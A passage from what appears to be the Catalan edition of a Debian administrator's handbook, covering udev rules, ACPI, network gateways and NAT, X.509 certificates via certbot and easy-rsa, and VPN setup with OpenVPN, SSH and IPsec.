KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Una vegada que aquestes regles s'estableixen en un fitxer, anomenat per exemple /etc/udev/rules.d/010_local.rules, es pot simplement eliminar i tornar a connectar la clau USB. Llavors podeu veure que /dev/usb_key/disk representa el disc associat amb la clau USB, i /dev/usb_key/part1 n'és la primera partició.

ANANT MÉS ENLLÀ Depuració de la configuració d'udev

Com molts dimonis, udevd emmagatzema els registres a /var/log/daemon.log. Però per defecte no és molt detallat, i normalment no és suficient per entendre què està passant. L'ordre udevadm control --log-priority=info augmenta el nivell de detall i resol aquest problema. udevadm control --log-priority=err retorna al nivell de detall per defecte.

9.12. Gestió d'energia: Interfície avançada de configuració i energia (ACPI: «Advanced Configuration and Power Interface)

El tema de la gestió de l'energia és sovint problemàtic. De fet, suspendre adequadament l'ordinador requereix que tots els controladors de dispositius de l'ordinador sàpiguen com posar-los en repòs («standby»), i que reconfigurin adequadament els dispositius al retornar. Per desgràcia, encara hi ha alguns dispositius incapaços de “dormir” bé amb Linux, perquè els seus fabricants no han proporcionat les especificacions necessàries.

Linux suporta l'ACPI (interfície avançada de configuració i energia) - l'estàndard més recent en la gestió de l'energia. El paquet acpid proporciona un dimoni que busca esdeveniments relacionats amb la gestió de l'energia (passar de corrent alterna a bateria en un portàtil, etc.) i que pot executar diverses ordres en resposta.

COMPTE Targeta gràfica i suspensió

El controlador de targetes gràfiques és sovint el culpable quan la suspensió no funciona correctament. En aquest cas és una bona idea provar l'última versió del servidor gràfic de X.org.

Després d'aquesta visió general dels serveis bàsics comuns a molts sistemes Unix, ens centrarem en l'entorn de les màquines administrades: la xarxa. Es requereixen molts serveis perquè la xarxa funcioni correctament. Es debatran en el pròxim capítol.

Capítol 10. Infraestructura de xarxa

Linux gaudeix de tot el patrimoni d'Unix sobre xarxes, i Debian proporciona un conjunt complet d'eines per crear-ne i gestionar-les. Aquest capítol revisa aquestes eines.

10.1. Gateway

Una passarel·la («gateway») és un sistema que uneix diverses xarxes. Aquest terme sovint es refereix a la “porta de sortida” d'una xarxa local en el camí obligatori cap a totes les adreces IP externes. La passarel·la està connectada a cadascuna de les xarxes que uneix, i actua com a encaminador («router») per transmetre paquets IP entre les seves diverses interfícies.

TORNAR A LES BASES paquet IP

La majoria de les xarxes avui dia utilitzen el protocol IP (Internet Protocol). Aquest protocol segmenta les dades transmeses en paquets de mida limitada. Cada paquet conté, a més de la seva càrrega de dades, una sèrie de detalls necessaris per al seu encaminament adequat.

TORNAR A LES BASES TCP/UDP

Molts programes no gestionen els paquets individuals per si mateixos, tot i que les dades que transmeten viatgen per IP; sovint utilitzen TCP («Transmission Control Protocol» o Protocol de Control de Transmissió). TCP és una capa sobre IP que permet l'establiment de connexions dedicades a fluxos de dades entre dos punts. Els programes només veuen un punt d'entrada en el qual les dades es poden abocar amb la garantia que les mateixes dades surtin sense pèrdues (i en la mateixa seqüència) en el punt de sortida a l'altre extrem de la connexió. Tot i que molts tipus d'errors poden ocórrer en les capes inferiors, aquests són compensats per TCP: els paquets perduts es retransmeten, i els paquets que arriben fora de l'ordre (per exemple, si utilitzen camins diferents) es reendrecen adequadament.

Un altre protocol que es basa en IP és UDP (Protocol de Datagrames d'Usuari o «User Datagram Protocol»). A diferència de TCP, està orientat al paquet. Els seus objectius són diferents: el propòsit d'UDP és només transmetre un paquet d'una aplicació a una altra. El protocol no intenta compensar la possible pèrdua de paquets en el camí, ni garanteix que els paquets es rebin en el mateix ordre que s'han enviat. El principal avantatge d'aquest protocol és que la latència millora considerablement, ja que la pèrdua d'un sol paquet no retarda la recepció de tots els paquets següents fins que es retransmet el perdut.

Tant TCP com UDP impliquen “ports”, que són “números d'extensió” per establir comunicació amb una aplicació donada en una màquina. Aquest concepte permet mantenir diverses comunicacions diferents en paral·lel amb el mateix equip corresponsal, ja que aquestes comunicacions es poden distingir pel número de port.

Alguns d'aquests números de port — estandarditzats per la IANA (Autoritat dels números assignats d'Internet o «Internet Assigned Numbers Authority»)— són "ben coneguts" per estar associats amb serveis de xarxa. Per exemple, el port TCP 25 és utilitzat generalment pels servidors de correu electrònic. La llista de serveis associats amb números de port es pot trobar al fitxer /etc/services, i també explicat a services(5) com també a

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Quan una xarxa local utilitza un interval d'adreces privat (no encaminable a Internet), la passarel·la ha d'implementar «address masquerading» o emmascarament d'adreces perquè les màquines de la xarxa puguin comunicar-se amb el món exterior. L'operació d'emmascarament és una mena d'intermediari que funciona a nivell de xarxa: cada connexió sortint d'una màquina interna és substituïda per una connexió de la mateixa pròpia passarel·la (ja que aquesta té una adreça externa encaminable), les dades que passen per la connexió emmascarada s'envien a la nova, i les dades que tornen en resposta s'envien a través de la connexió emmascarada a la màquina interna. La passarel·la utilitza una gamma de ports TCP dedicats per aquest propòsit, normalment amb nombres molt alts (per sobre de 60000). Cada connexió procedent d'una màquina interna apareix al món exterior com una connexió procedent d'un d'aquests ports reservats.

CULTURA Rang d'adreces privades

L'RFC 1918 defineix tres rangs d'adreces IPv4 dedicades a no ser encaminades a Internet, sinó que només s'utilitzin en xarxes locals. El primer, 10.0.0.0/8 (vegeu la barra lateral TORNAR A LES BASES Conceptes de xarxa essenciales (Ethernet, adreça IP, subxarxa, difusió)), és un rang de classe A (amb 2²⁴ adreces IP). La segona, 172.16.0.0/12, reuneix 16 rangs de classe B (de 172.16.0.0/16 a 172.31.0.0/16), cadascun dels quals conté 2¹⁶ adreces IP. Finalment, 192.168.0.0/16 és un rang de classe B (agrupant intervals de 256 classes C, de 192.168.0.0/24 a 192.168.255.0/24, amb 256 adreces IP cadascuna).

→ http://www.faqs.org/rfcs/rfc1918.html

Una passarel·la també pot realitzar dos tipus de traducció d'adreces de xarxa (o NAT com acrònim en anglès per «network address translation»). El primer tipus, NAT de destí (DNAT per «destination NAT») és una tècnica per alterar l'adreça IP de destinació (i/o el port TCP o UDP) per a una connexió (generalment) entrant. El mecanisme de seguiment de la connexió també altera els paquets següents en la mateixa connexió per assegurar la continuïtat en la comunicació. El segon tipus de NAT és NAT d'origen (SNAT per «source NAT»), del qual l'emmascarament n'és un cas particular; SNAT altera l'adreça IP de la font (i/o el port TCP o UDP) d'una connexió (generalment) sortint. Pel que fa a DNAT, tots els paquets de la connexió es gestionen adequadament pel mecanisme de seguiment de la connexió. Tingueu en compte que el NAT només és rellevant per a IPv4 i el seu espai d'adreçament limitat; en IPv6, l'àmplia disponibilitat d'adreces redueix enormement la utilitat del NAT permetent que totes les adreces “internes” siguin directament encaminables a Internet (això no implica que les màquines internes siguin accessibles, ja que els tallafocs intermediaris poden filtrar el trànsit).

TORNAR A LES BASES Redirecció de ports

Una aplicació concreta del DNAT és el reenviament de ports. Les connexions entrants a un port donat d'una màquina es reenvien a un altre port d'una altra màquina. Altres solucions poden existir per aconseguir un efecte similar, especialment a nivell d'aplicació amb ssh (vegeu Secció 9.2.1.4, «Creació de túnels encriptats amb reenviament de ports») o redir.

Prou de teoria i posem-nos en pràctica. Convertir un sistema de Debian en una passarel·la és una qüestió tan senzilla com habilitar l'opció apropiada del nucli de Linux a través del sistema de fitxers virtual /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Aquesta opció també es pot activar automàticament a l'arrencada si /etc/sysctl.conf o un fitxer de configuració a /etc/sysctl.d/ estableix l'opció net.ipv4.conf.default.forwarding a 1.

Exemple 10.1. El fitxer /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

El mateix efecte es pot obtenir per a IPv6 simplement substituint ipv4 per ipv6 en l'ordre manual o posant la línia net.ipv6.conf.all.forwarding a /etc/sysctl.conf.

L'activació de l'emmascarament IPv4 és una operació lleugerament més complexa que implica la configuració del tallafocs netfilter.

De la mateixa manera, l'ús de NAT (per a IPv4) requereix la configuració de netfilter. Com que el propòsit principal d'aquest component és el filtratge de paquets, els detalls es llisten a Capítol 14: «Seguretat» (vegeu Secció 14.2, «Tallafocs o filtratge de paquets»).

10.2. Certificats X.509

Els certificats són elements bàsics en la construcció de molts serveis de xarxa basats en protocols criptogràfics quan necessiten algun tipus d'autenticació central.

Entre aquests protocols, l'SSL (de «Secure Socket Layer» o Nivell de Sòcols Segurs) va ser inventat per Netscape per assegurar les connexions amb servidors web. Més tard va ser estandarditzat per l'IETF sota l'acrònim TLS («Transport Layer Security» o Seguretat del Nivell de Transport). Des de llavors, el TLS va continuar evolucionant, mentre que actualment l'SSL està obsolet a causa de múltiples defectes de disseny que s'han descobert.

El protocol TLS té com a objectiu principal el proporcionar privacitat i integritat de dades entre dues o més aplicacions informàtiques comunicants. El cas més comú a Internet és la comunicació entre un client (per exemple un navegador web) i un servidor.

Un parell de claus és necessari per a l'intercanvi d'informació, que implica una clau pública que inclou informació sobre la identitat del propietari i que es correspon amb una clau privada. La clau privada ha de mantenir-se en secret, en cas contrari la seguretat es pot veure compromesa. No obstant això, qualsevol pot crear un parell de claus, emmagatzemar-hi qualsevol identitat i fingir ser la identitat de la seva elecció. Una solució implica el concepte d'una Autoritat Certificadora (CA), formalitzada per l'estàndard X.509. Aquest terme cobreix una entitat que té un parell de claus de confiança conegut com a certificat arrel. Aquest certificat només s'utilitza per signar altres certificats (parells de claus), després que s'hagin fet passos adequats per comprovar la identitat emmagatzemada en el parell de claus. Les aplicacions que utilitzen X.509 poden comprovar els certificats que se'ls presenten si coneixen els certificats arrel de confiança.

Es pot implementar una CA (com es descriu a Secció 10.2.2, «Infraestructura de clau pública: easy-rsa»), però si es pretén utilitzar el certificat per a un lloc web, cal confiar en una CA de confiança. Els preus varien considerablement, però és possible implementar una alta seguretat gastant poc o res de diners.

10.2.1. Creació de certificats de confiança de franc

Molts programes creen i utilitzen per defecte certificats d'oli de serp (vegeu la barra lateral SEGURETAT Certificats SSL Snake oil). Afortunadament, el paquet certbot aporta tot el que necessitem per crear els nostres propis certificats de confiança, proporcionats per la iniciativa «Let's Encrypt» (vegeu la barra lateral CULTURA La iniciativa Let's Encrypt), que també es pot utilitzar per a agents de transport de correu (Postfix), per a agents de lliurament de correu (Dovecot, Cyrus, etc.), i per altres serveis de xarxa.

Els administradors de Falcot només volen crear un certificat per al seu lloc web, que funciona amb Apache. Hi ha un convenient connector Apache per a certbot que edita automàticament la configuració d'Apache per servir el certificat obtingut, de manera que l'utilitzen:

# apt install python3-certbot-apache [...] # certbot --apache aving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server. Do you agree? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: Y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing, once your first certificate is successfully issued, to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N Account registered. No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Requesting a certificate for falcot.com Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2022-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURA La iniciativa Let's Encrypt

La iniciativa Let's Encrypt és un esforç conjunt per crear una autoritat de certificació lliure, automatitzada i oberta (CA), que funciona en benefici del públic. Està suportat per l'EFF i la Linux Foundation. La iniciativa proporciona una eina automatitzada per obtenir i renovar certificats. Això redueix la quantitat d'esforç manual implicat, especialment si s'han de gestionar diversos llocs i dominis. Els certificats també es poden utilitzar per a SIP, XMPP, WebSockets i servidors TURN. L'ús del servei requereix el control de la informació DNS del domini en qüestió (validació de domini).

→ https://letsencrypt.org/how-it-works/

Si preferiu mantenir el servidor en execució durant la creació del certificat, podeu utilitzar el connector webroot per obtenir el certificat amb els paràmetres certonly i --webroot. Hauríeu d'especificar un --webroot-path (abreujat com a -w), que hauria de contenir els fitxers utilitzats. L'ordre aniria així:

# certbot certonly --webroot -w /var/www/html -d www.DOMINI.com -d DOMINI.com

Cal reiniciar tots els serveis que usin els certificats que heu creat.

Els certificats creats s'anomenen certificats de curta vida, que són vàlids durant 90 dies i que s'han de renovar cada tres mesos utilitzant l'ordre certbot renew. No obstant això, no hauríem de renovar tots els certificats manualment, sinó automàticament. Una tasca cron bàsica és inclosa per certbot a /etc/cron.d/certbot. Per assegurar-vos que els certificats es poden renovar automàticament, podeu executar certbot renew --dry-run.

10.2.2. Infraestructura de clau pública: easy-rsa

També és possible crear la nostra pròpia CA, per a la qual utilitzarem l'algorisme RSA, àmpliament utilitzat en criptografia de clau pública. Es tracta d'un “parell de claus”, compost d'una clau privada i una de pública. Les dues claus estan estretament lligades entre si, i les seves propietats matemàtiques són tals que un missatge encriptat amb la clau pública només pot ser desencriptat per algú que coneix la clau privada, fet que garanteix la confidencialitat. En la direcció oposada, un missatge xifrat amb la clau privada pot ser desencriptat per qualsevol que conegui la clau pública, que permet autenticar l'origen d'un missatge, ja que només algú amb accés a la clau privada pot generar-lo. Quan s'associa amb una funció de suma («hash») digital (MD5, SHA1, o alguna altra variant més recent), això ens porta a un mecanisme de signatura que es pot aplicar a qualsevol missatge.

Com que les CA públiques emeten certificats només a canvi d'un pagament (no pas petit), també és possible crear una autoritat privada de certificació dins de l'empresa. El paquet easy-rsa proporciona eines per crear una infraestructura de certificació X.509, implementada com un conjunt de scripts utilitzant l'ordre openssl.

ALTERNATIVA GnuTLS

GnuTLS també es pot utilitzar per generar una CA i tractar amb altres tecnologies al voltant dels protocols TLS, DTLS i SSL.

El paquet gnutls-bin conté les utilitats de la línia d'ordres. També és útil instal·lar el paquet gnutls-doc, que inclou una àmplia documentació.

Els administradors de Falcot Corp utilitzen aquesta eina per crear els certificats necessaris, tant per al servidor com per als clients. Això permet que la configuració de tots els clients sigui similar, ja que només s'han de configurar per confiar en els certificats que provenen de la CA local de Falcot. Aquesta CA és el primer certificat a crear; per a això, els administradors estableixen un directori amb els arxius necessaris per a la CA en una ubicació apropiada, preferiblement en una màquina no connectada a la xarxa per tal de mitigar el risc que la clau privada de la CA sigui robada.

$ make-cadir pki-falcot $ cd pki-falcot

Després s'emmagatzemen els paràmetres necessaris al fitxer vars que es pot descomentar i editar:

$ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI" #set_var EASYRSA_DN "cn_only" set_var EASYRSA_REQ_COUNTRY "FR" set_var EASYRSA_REQ_PROVINCE "Loire" set_var EASYRSA_REQ_CITY "Saint-Étienne" set_var EASYRSA_REQ_ORG "Falcot Corp" set_var EASYRSA_REQ_EMAIL "admin@falcot.com" set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 825 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_RAND_SN "yes" #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" #set_var EASYRSA_KDC_REALM "CHANGEME.EXAMPLE.COM" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $ vim vars $

Ara preparem el directori d'infraestructura de claus públiques amb el següent comandament:

$ ./easyrsa init-pki init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/debian/pki-falcot/pki

El següent pas és la creació del parell de claus de la CA (les dues parts del parell de claus s'emmagatzemaran sota pki/ca.crt i pki/private/ca.key durant aquest pas). Podem afegir l'opció nopass per evitar introduir una contrasenya cada vegada que s'utilitza la clau privada:

$ ./easyrsa build-ca nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating RSA private key, 2048 bit long modulus (2 primes) ..................+++++ ...............................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/debian/pki-falcot/pki/ca.crt

El certificat es pot ser creat ja, així com els paràmetres Diffie-Hellman necessaris per a la banda de servidor d'una connexió SSL/TLS. Es vol utilitzar per a un servidor VPN (vegeu la secció Secció 10.3, «Xarxa privada virtual») que s'identifica amb el nom DNS vpn.falcot.com; aquest nom es reutilitza per als fitxers de claus generats (keys/vpn.falcot.com.crt per al certificat públic,keys/vpn.falcot.com.key per a la clau privada):

$ ./easyrsa gen-req vpn.falcot.com nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ......................................+++++ ..........................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 825 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

El pas següent crea certificats per als clients de VPN; es requereix un certificat per a cada ordinador o persona autoritzada per utilitzar la VPN:

$ ./easyrsa build-client-full JoeSmith nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ...................................+++++ .........................................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE' ----- Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated

10.3. Xarxa privada virtual

Una xarxa virtual privada(VPN o «Virtual Private Network» en anglès) és una manera d'enllaçar dues xarxes locals diferents a través d'Internet usant un túnel; el túnel és generalment xifrat per confidencialitat. Les VPN s'utilitzen sovint per integrar una màquina remota dins de la xarxa local d'una empresa.

Diverses eines proporcionen aquesta funcionalitat. OpenVPN és una solució eficient, fàcil de desplegar i mantenir, basada en SSL/TLS. Una altra possibilitat és utilitzar IPsec per xifrar el trànsit IP entre dues màquines; aquest xifratge és transparent, cosa que significa que les aplicacions que s'executen en aquests amfitrions no han de ser modificades per tenir en compte la VPN. SSH també es pot utilitzar per proporcionar una VPN, a més de les seves característiques més convencionals. Finalment, es pot establir una VPN mitjançant el protocol PPTP de Microsoft. Existeixen altres solucions, però estan més enllà de l'abast d'aquest llibre.

10.3.1. OpenVPN

OpenVPN és un programari dedicat a la creació de xarxes privades virtuals. La seva configuració implica la creació d'interfícies de xarxa virtuals al servidor VPN i al(s) client(s); és compatible tant amb interfícies tun (per a túnels a nivell IP) i tap (per a túnels a nivell Ethernet). A la pràctica, les interfícies tun s'utilitzaran amb més freqüència excepte quan els clients VPN estan destinats a ser integrats a la xarxa local del servidor mitjançant un pont Ethernet.

L'OpenVPN es basa en l'OpenSSL per a tota la criptografia SSL/TLS i característiques associades (confidencialitat, autenticació, integritat, no-repudiació). Es pot configurar amb una clau privada compartida o utilitzant certificats X.509 basats en una infraestructura de clau pública. Aquesta última configuració sol ser la preferida, ja que permet una major flexibilitat quan cal afrontar a un nombre creixent d'usuaris itinerants que accedeixen a la VPN.

10.3.1.1. Configuració del servidor OpenVPN

Després que s'hagin creat tots els certificats (seguint les instruccions de Secció 10.2.2, «Infraestructura de clau pública: easy-rsa»), s'han de copiar on correspongui: la clau pública del certificat arrel (pki/ca.crt) s'emmagatzemarà a totes les màquines (tant clients com servidors) com a /etc/ssl/certs/Falcot_CA.crt. El certificat del servidor només s'instal·la al servidor (pki/issued/vpn.falcot.com.crt va a /etc/ssl/certs/vpn.falcot.com.crt, i pki/private/vpn.falcot.com.key va a /etc/ssl/private/vpn.falcot.com.key amb permisos restringits perquè només l'administrador el pugui llegir), amb els paràmetres Diffie-Hellman corresponents (pki/dh.pem) instal·lats a /etc/openvpn/dh.pem. Els certificats de client s'instal·len en el corresponent client VPN de manera similar.

Per defecte, l'script d'inicialització de l'OpenVPN intenta iniciar totes les xarxes privades virtuals definides a /etc/openvpn/*.conf. Per tant, la creació d'un servidor VPN és qüestió d'emmagatzemar un fitxer de configuració corresponent en aquest directori. Un bon punt de partida és /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, que condueix a un servidor bastant estàndard. Per descomptat, cal adaptar alguns paràmetres: ca, cert, key i dh han de descriure les ubicacions seleccionades (respectivament, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key i /etc/openvpn/dh.pem). La directiva server 10.8.0.0 255.255.255.0 defineix la subxarxa a utilitzar per a la VPN; el servidor utilitza la primera adreça IP en aquest rang (10.8.0.1) i la resta de les adreces estan reservades per als clients.

Amb aquesta configuració, a l'engegar l'OpenVPN crea la interfície de xarxa virtual, normalment amb el nom tun0. No obstant això, els tallafocs es configuren sovint al mateix temps que les interfícies de xarxa reals, que ocorre abans que comenci l'OpenVPN. Per tant, una bona pràctica recomana crear una interfície de xarxa virtual persistent, i configurar l'OpenVPN per utilitzar aquesta interfície preexistent. Això també permet triar el nom d'aquesta interfície. A aquest efecte, openvpn --mktun --dev vpn --dev-type tun crea una interfície de xarxa virtual anomenada vpn de tipus tun; aquesta ordre es pot integrar fàcilment a l'script de configuració del tallafocs, o en una directiva up del fitxer /etc/network/interfaces, o una regla udev es pot crear amb aquesta fi. El fitxer de configuració d'OpenVPN també s'ha d'actualitzar en conseqüència amb les directives dev vpn i dev-type tun.

Sense fer res més, els clients VPN només poden accedir al servidor VPN a través de l'adreça 10.8.0.1. La concessió als clients d'accés a la xarxa local (192.168.0.0/24), requereix l'addició d'una directiva push route 192.168.0.0 255.255.255.0 a la configuració de l'OpenVPN perquè els clients VPN obtinguin automàticament una ruta de xarxa que els digui que aquesta xarxa és accessible a través de la VPN. A més, les màquines de la xarxa local també han de ser informades que la ruta cap a la VPN passa pel servidor VPN (això funciona automàticament quan el servidor VPN està instal·lat a la passarel·la d'entrada). Alternativament, el servidor VPN es pot configurar per realitzar emmascaraments IP de manera que les connexions procedents de clients VPN apareguin com si vinguessin del servidor VPN (vegeu Secció 10.1, «Gateway»).

10.3.1.2. Configuració del cliente OpenVPN

Configurar un client OpenVPN també requereix crear un fitxer de configuració a /etc/openvpn/. Es pot obtenir una configuració estàndard utilitzant /usr/share/doc/openvpn/examples/sample-config-files/client.conf com a punt d'inici. La directiva remote vpn.falcot.com 1194 descriu l'adreça i el port del servidor OpenVPN; ca, cert i key també s'han d'adaptar per descriure les ubicacions dels fitxers de claus.

Si la VPN no s'ha d'iniciar automàticament en arrencar, establiu la directiva AUTOSTART com a none al fitxer /etc/default/openvpn. Començar o aturar una connexió VPN donada sempre és possible amb les ordres systemctl start openvpn@nom i systemctl stop openvpn@nom (on la connexiónom coincideix amb la definida a /etc/openvpn/nom.conf).

El paquet network-manager-openvpn-gnome conté una extensió del Network Manager (vegeu Secció 8.2.5, «Configuració automàtica de la xarxa per a usuaris itinerants») que permet gestionar les xarxes privades virtuals d'OpenVPN. Això permet a tots els usuaris configurar les connexions OpenVPN gràficament i controlar-les des de la icona de gestió de xarxa.

10.3.2. Xarxa privada virtual amb SSH

En realitat hi ha dues maneres de crear una xarxa privada virtual amb SSH. La manera antiga consisteix en establir una capa PPP sobre l'enllaç SSH. Aquest mètode es descriu en un document HOWTO:

→ https://www.tldp.org/HOWTO/ppp-ssh/

El segon mètode és més recent, i es va introduir amb OpenSSH 4.3; ara és possible que OpenSSH creï interfícies de xarxa virtual (tun*) a ambdós costats d'una connexió SSH, i aquestes interfícies virtuals es poden configurar exactament com si fossin interfícies físiques. El sistema de tunelització s'ha d'activar primer establint PermitTunnel a «yes» al fitxer de configuració del servidor SSH (/etc/ssh/sshd_config). En establir la connexió SSH, la creació d'un túnel ha de ser explícitament sol·licitada amb l'opció -w any:any (any pot ser substituït amb el nombre de dispositiu tun desitjat). Això requereix que l'usuari tingui privilegis d'administrador en ambdós costats, per tal de poder crear el dispositiu de xarxa (en altres paraules, la connexió s'ha d'establir com a usuari arrel).

Tots dos mètodes per crear una xarxa privada virtual a través de SSH són bastant senzills. No obstant això, la VPN que proporcionen no és la més eficient disponible; en particular, no gestiona massa bé els nivells alts de trànsit.

L'explicació és que quan una pila TCP/IP es troba encapsulada dins d'una connexió TCP/IP (per a SSH), el protocol TCP s'utilitza dues vegades, una vegada per a la connexió SSH i una vegada dins del túnel. Això comporta problemes, especialment a causa de la forma en què TCP s'adapta a les condicions de la xarxa alterant els retards de temps d'espera. El següent lloc descriu el problema amb més detall:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

Per tant, les VPN sobre SSH s'han de restringir a túnels únics sense restriccions de rendiment.

10.3.3. IPsec

IPsec, malgrat ser l'estàndard en les VPNs IP, està més implicat en la seva implementació. El motor IPsec està integrat al nucli de Linux; les parts necessàries de l'espai d'usuari, les eines de control i configuració són proporcionades pel paquet libreswan o el paquet strongswan. Aquí descriurem breument la primera d'aquestes opcions.

